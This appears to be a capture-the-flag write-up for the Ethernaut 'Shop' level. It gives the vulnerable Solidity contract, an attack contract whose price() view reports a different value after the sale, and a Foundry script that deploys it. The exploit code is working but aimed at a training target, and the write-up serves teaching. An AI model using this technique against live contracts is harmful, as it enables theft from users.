Level 21 - Shop ⏺⏺

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Last updated 4 months ago

Level 21 - Shop ⏺⏺

Level Setup

Сan you get the item from the shop for less than the price asked?

Things that might help:

Shop expects to be used from a Buyer
Understanding restrictions of view functions

Level Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
    function price() external view returns (uint256);
}

contract Shop {
    uint256 public price = 100;
    bool public isSold;

    function buy() public {
        Buyer _buyer = Buyer(msg.sender);

        if (_buyer.price() >= price && !isSold) {
            isSold = true;
            price = _buyer.price();
        }
    }
}

Exploit

make anvil-exploit-level-21

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>

make holesky-exploit-level-21

<INPUT_LEVEL_INSTANCE_CONTRACT_ADDRESS>

src/Level21.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// ================================================================
// │                         LEVEL 21 - SHOP                      │
// ================================================================
interface IShop {
    function buy() external;
    function isSold() external view returns (bool);
    function price() external view returns (uint256);
}

contract AttackContract {
    function price() public view returns (uint256) {
        bool isSold = IShop(msg.sender).isSold();
        uint256 askedPrice = IShop(msg.sender).price();
        if (!isSold) {
            return askedPrice;
        } else {
            return 0;
        }
    }

    function buyFromShop(address _shopAddr) public {
        IShop(_shopAddr).buy();
    }
}

script/Level21.s.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";

import {AttackContract} from "src/Level21.sol";

// ================================================================
// │                         LEVEL 21 - SHOP                      │
// ================================================================
contract Exploit is Script, HelperFunctions {
    function run() public {
        address targetContractAddress = getInstanceAddress();
        vm.startBroadcast();
        AttackContract attackContract = new AttackContract();
        attackContract.buyFromShop(targetContractAddress);
        vm.stopBroadcast();
    }
}

Submit instance... 🥳

Completion Message

Contracts can manipulate data seen by other contracts in any way they want.

It's unsafe to change the state based on external and untrusted contracts logic.

Notes